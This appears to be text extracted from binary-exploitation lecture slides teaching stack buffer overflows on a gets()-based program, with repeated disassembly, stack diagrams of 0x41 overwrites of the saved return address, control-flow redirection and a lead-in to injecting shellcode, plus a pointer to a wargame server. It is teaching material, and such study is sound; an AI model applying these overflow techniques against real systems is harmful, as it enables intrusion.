0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

Executable code

EIP

```
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

Example ELF / EXE in Memory

Executable code

EIP

```
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

Executable code

EIP

```
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

EIP

dat flow doe

```
0x8048411    mov    ebp,esp
0x8048413    sub    esp,0x18
0x8048416    mov    eax,ds:0x8049f24
0x804841b    test   eax,eax
0x804841d    je     0x8048431 <frame_dummy+33>
0x804841f    mov    eax,0x0
0x8048424    test   eax,eax
0x8048426    je     0x8048431 <frame_dummy+33>
0x8048428    mov    DWORD PTR [esp],0x8049f24
0x804842f    call   eax
0x8048431    leave
0x8048432    ret
0x8048433    nop
0x8048434    push   ebp
0x8048435    mov    ebp,esp
0x8048437    and    esp,0xfffffff0
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

Example ELF / EXE in Memory

data flow doe

EIP

```
0x8048410   push   ebp
0x8048411   mov    ebp,esp
0x8048413   sub    esp,0x18
0x8048416   mov    eax,ds:0x8049f24
0x804841b   test   eax,eax
0x804841d   je     0x8048431 <frame_dummy+33>
0x804841f   mov    eax,0x0
0x8048424   test   eax,eax
0x8048426   je     0x8048431 <frame_dummy+33>
0x8048428   mov    DWORD PTR [esp],0x8049f24
0x804842f   call   eax
0x8048431   leave
0x8048432   ret
0x8048433   nop
0x8048434   push   ebp
0x8048435   mov    ebp,esp
0x8048437   and    esp,0xfffffff0
0x804843a   sub    esp,0x110
0x8048440   mov    DWORD PTR [esp],0x8048550
0x8048447   call   0x8048350 <puts@plt>
0x804844c   mov    DWORD PTR [esp],0x8048570
0x8048453   call   0x8048350 <puts@plt>
0x8048458   mov    eax,0x8048591
0x804845d   mov    DWORD PTR [esp],eax
0x8048460   call   0x8048330 <printf@plt>
0x8048465   lea    eax,[esp+0x10]
0x8048469   mov    DWORD PTR [esp],eax
0x804846c   call   0x8048340 <gets@plt>
0x8048471   mov    eax,0x0
0x8048476   leave
```

Example ELF / EXE in Memory

Example ELF / EXE in Memory

How Calling Works

```
0x8048410   push   ebp
0x8048411   mov    ebp,esp
0x8048413   sub    esp,0x18
0x8048416   mov    eax,ds:0x8049f24
0x804841b   test   eax,eax
0x804841d   je     0x8048431 <frame_dummy+33>
0x804841f   mov    eax,0x0
0x8048424   test   eax,eax
0x8048426   je     0x8048431 <frame_dummy+33>
0x8048428   mov    DWORD PTR [esp],0x8049f24
0x804842f   call   eax
0x8048431   leave
0x8048432   ret
0x8048433   nop
0x8048434   push   ebp
0x8048435   mov    ebp,esp
0x8048437   and    esp,0xfffffff0
0x804843a   sub    esp,0x110
0x8048440   mov    DWORD PTR [esp],0x8048550
0x8048447   call   0x8048350 <puts@plt>
0x804844c   mov    DWORD PTR [esp],0x8048570
0x8048453   call   0x8048350 <puts@plt>
0x8048458   mov    eax,0x8048591
0x804845d   mov    DWORD PTR [esp],eax
0x8048460   call   0x8048330 <printf@plt>
0x8048465   lea    eax,[esp+0x10]
0x8048469   mov    DWORD PTR [esp],eax
0x804846c   call   0x8048340 <gets@plt>
0x8048471   mov    eax,0x0
0x8048476   leave
```

EIP

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	<-- Current stack frame (ESP)
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

How Calling Works

```
0x8048410   push   ebp
0x8048411   mov    ebp,esp
0x8048413   sub    esp,0x18
0x8048416   mov    eax,ds:0x8049f24
0x804841b   test   eax,eax
0x804841d   je     0x8048431 <frame_dummy+33>
0x804841f   mov    eax,0x0
0x8048424   test   eax,eax
0x8048426   je     0x8048431 <frame_dummy+33>
0x8048428   mov    DWORD PTR [esp],0x8049f24
0x804842f   call   eax
0x8048431   leave
0x8048432   ret
0x8048433   nop
0x8048434   push   ebp
0x8048435   mov    ebp,esp
0x8048437   and    esp,0xfffffff0
0x804843a   sub    esp,0x110
0x8048440   mov    DWORD PTR [esp],0x8048550
0x8048447   call   0x8048350 <puts@plt>
0x804844c   mov    DWORD PTR [esp],0x8048570
0x8048453   call   0x8048350 <puts@plt>
0x8048458   mov    eax,0x8048591
0x804845d   mov    DWORD PTR [esp],eax
0x8048460   call   0x8048330 <printf@plt>
0x8048465   lea    eax,[esp+0x10]
0x8048469   mov    DWORD PTR [esp],eax
0x804846c   call   0x8048340 <gets@plt>
0x8048471   mov    eax,0x0
0x8048476   leave
```

EIP

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x20	0xf4	0xff	0xbf	<----- Current stack frame (ESP)
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

How Calling Works

EIP

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

How Calling Works

EIP

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

How Calling Works

EIP

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

How Calling Works

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18
```

EIP →

```
...
```

```
0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret
```

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x00	0x00	0x00	0x00	...
0x00	0x00	0x00	0x00	...
0x00	0x00	0x00	0x00	... New stack frame
0x00	0x00	0x00	0x00	...
0x00	0x00	0x00	0x00	...
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

EIP
0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x00	0x00	...
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

EIP

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x00	0x00	...
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret
```

EIP

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x00	0x00	
0x40	0xf0	0xff	0xbf	
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

EIP

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x40	0xf0	0xff	0xbf	
0x71	0x84	0x04	0x08	
0x20	0xf4	0xff	0xbf	<----- Current stack frame (ESP)
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

EIP

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x40	0xf0	0xff	0xbf	
0x71	0x84	0x04	0x08	
0x20	0xf4	0xff	0xbf	<----- Current stack frame (ESP)
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Now that you know how it works …

OWNING CONTROL FLOW

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Stack Smashing

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18
```

EIP →

```
...
```

```
0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret
```

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x00	0x00	...
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

Stack Smashing

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18
```

EIP →

```
...
```

```
0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret
```

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<----- Saved EBP Address
0x41	0x41	0x41	0x41	<----- Saved Return Address
0x41	0x41	0x41	0x41	<----- Argument One to gets()
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x00	
...	...	...	...	
...	...	...	...	

Stack Smashing

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

EIP

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<----- Saved EBP Address
0x41	0x41	0x41	0x41	<----- Saved Return Address
0x41	0x41	0x41	0x41	<----- Argument One to gets()
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x00	
...	...	...	...	
...	...	...	...	

Returning

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret
```

EIP

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	<----- Saved Return Address
0x41	0x41	0x41	0x41	<----- Argument One to gets()
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x00	
...	...	...	...	
...	...	...	...	

Returning home

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

...

0x8048371    mov    eax
0x8048376    leave
0x8048377    ret
```

EIP

```
0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [es
0x8048447    call   0x8048350
0x804844c    mov    DWORD
0x8048453    call   0x
0x8048458    mov
0x804845d    mov
0x8048460    call   0x
0x8048465    lea    eax,
0x8048469    mov    DWORD
0x804846c    call   0x8048
0x8048471    mov    eax,0x0
0x8048476    leave
```

0x41	0x41	0x41	0x41
0x41	0x41	0x41	
0x41	0x		
			0x41
		0x41	0x41
			0x41
...	...		
...	...	...	

SEGFAULT
0x41414141

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
```

```
loc_31307D:                          ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h
loc_31308C:                          ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

“If your program simply segfaulted, consider yourself lucky.”

-Chuck Stewart

Redirecting Control Flow

```
0x8048350    push   ebp
0x8048351    mov    ebp,esp
0x8048353    sub    esp,0x18

             ...

0x8048371    mov    eax,0x0
0x8048376    leave
0x8048377    ret

0x804843a    sub    esp,0x110
0x8048440    mov    DWORD PTR [esp],0x8048550
0x8048447    call   0x8048350 <puts@plt>
0x804844c    mov    DWORD PTR [esp],0x8048570
0x8048453    call   0x8048350 <puts@plt>
0x8048458    mov    eax,0x8048591
0x804845d    mov    DWORD PTR [esp],eax
0x8048460    call   0x8048330 <printf@plt>
0x8048465    lea    eax,[esp+0x10]
0x8048469    mov    DWORD PTR [esp],eax
0x804846c    call   0x8048340 <gets@plt>
0x8048471    mov    eax,0x0
0x8048476    leave
```

EIP

Overwrite with a code address

0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x41	
0x30	0x83	0x04	0x08	<-- Saved Return Address
0x41	0x41	0x41	0x41	<-- Argument One
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x00	
...	...	...	...	
...	...	...	...	

warzone.rpis.ec

SSH in as intro02

use the password you got from solving intro01

Example ELF / EXE in Memory

- What if there's no easy function to pop a shell like intro02?
  - No easy 'win' function
- Make our own exec() function in a buffer on the stack, and redirect control flow to it!

Shellcode and other antics

INJECTING CODE

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

PWNING the Stack

Put x86 in buffer on the stack

Overwrite Return

0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
0x41	0x41	0x41	0x41	<-- buffer[0] to buffer[3]
0x41	0x41	0x41	0x41	...
...	...	...	...	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<-- buffer[60] to buffer[63]
0xef	0xbe	0xad	0xde	<-- modified
0x00	0x00	0x00	0x00	<-- Saved EBP Address
